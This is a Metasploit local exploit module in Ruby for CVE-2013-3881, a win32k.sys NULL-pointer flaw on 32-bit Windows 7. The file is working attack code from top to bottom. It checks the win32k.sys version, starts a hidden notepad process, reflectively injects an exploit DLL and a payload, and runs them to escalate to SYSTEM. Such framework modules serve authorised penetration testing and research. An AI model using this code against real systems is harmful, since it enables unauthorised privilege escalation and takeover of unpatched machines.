##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows TrackPopupMenuEx Win32k NULL Page',
      'Description'    => %q{
        This module exploits a vulnerability in win32k.sys where under
        specific conditions TrackPopupMenuEx will pass a NULL pointer to
        the MNEndMenuState procedure. This module has been tested
        successfully on Windows 7 SP0 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Seth Gibson', # vulnerability discovery
          'Dan Zentner', # vulnerability discovery
          'Matias Soler', # vulnerability analysis
          'Spencer McIntyre'
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => 'win',
      'SessionTypes'   => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Targets'        =>
        [
          [ 'Windows 7 SP0/SP1', { } ]
        ],
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          [ 'CVE', '2013-3881' ],
          [ 'OSVDB', '98212' ],
          [ 'BID', '62830'],
          [ 'MSB', 'MS13-081' ],
          [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
          [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
        ],
      'DisclosureDate' => 'Oct 08 2013',
      'DefaultTarget'  => 0
    }))
  end

  def check
    os = sysinfo["OS"]
    if (os =~ /windows/i) == nil
      return Exploit::CheckCode::Safe
    end

    file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    case build
    when 7600
      return Exploit::CheckCode::Appears
    when 7601
      return Exploit::CheckCode::Appears if revision <= 18126
    when 9200
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Unknown
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
    end

    if sysinfo["Architecture"] == ARCH_X64
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end

    print_status("Launching notepad to host the exploit...")
    notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      # Reader Sandbox won't allow to create a new process:
      # stdapi_sys_process_execute: Operation failed: Access is denied.
      print_status("Operation failed. Trying to elevate the current process...")
      process = client.sys.process.open
    end

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory, "exploits",
                               "cve-2013-3881", "cve-2013-3881.x86.dll")
    library_path = ::File.expand_path(library_path)

    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)

    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(process, payload.encoded)

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status("Payload injected. Executing exploit...")
    process.thread.create(exploit_mem + offset, payload_mem)

    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
  end

end
